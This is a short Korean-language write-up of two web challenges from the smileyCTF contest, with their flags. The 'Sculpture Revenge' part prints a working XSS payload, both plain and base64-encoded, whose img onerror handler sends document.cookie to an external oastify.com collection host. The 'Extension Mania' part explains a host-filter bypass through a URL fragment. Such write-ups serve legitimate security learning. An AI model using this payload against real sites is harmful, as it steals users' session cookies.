smileyCTF-web-풀이

남행이 2025. 6. 14. 22:43

Sculpture Revenge

import document

output = document.getElementById("output")
output.innerHTML = '<img src="x" onerror="location.href=\'http://tkhx781vn4m07jjdkcwp23wsjjpad61v.oastify.com/?\' + document.cookie">'

python을 js로 구현한 라이브러리를 이용해 xss유도( import document print dir(document))을 이용해 사용가능한 함수 확인

 

aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=

https://web-sculpture-revenge-bx35z9ge.smiley.cat/bot?code=aW1wb3J0IGRvY3VtZW50CgpvdXRwdXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgib3V0cHV0IikKb3V0cHV0LmlubmVySFRNTCA9ICc8aW1nIHNyYz0ieCIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj1cJ2h0dHA6Ly90a2h4Nzgxdm40bTA3ampka2N3cDIzd3NqanBhZDYxdi5vYXN0aWZ5LmNvbS8/XCcgKyBkb2N1bWVudC5jb29raWUiPic=

base64로 인코드후 bot에 코드로 전달

.;,;.{we_love_cattle_no_flags_in_dist_trust_we_know_what_we_are_doing_yep}

 

Extension Mania

 

봇에서 15초 대기하기에 16.5초 대기, 호스트 검증후 shouldGiveFlag = true;을 통해 플래그 제공조건을 줌

해당부분에서 params가아닌 paramref로 되어있어 이부분에 접근한다면 error를 일으켜 필터링( coolctfgames.localhost )을 안하게 만들수있기에  #값을 이용해 아무값을 입력해 key와 value를 넣어줌

http://coolctfgames.localhost:3000#bypass=true

로 봇요청

 

https://web-extension-mania-f8xd9nd2.smiley.cat/bot/status

경로로 이동하여 확인

".;,;.{th3_d0wns1d3s_0f_3xt_ap1_abus3_and_r0ll1ng_y0ur_0wn_ur1_pars3rs}"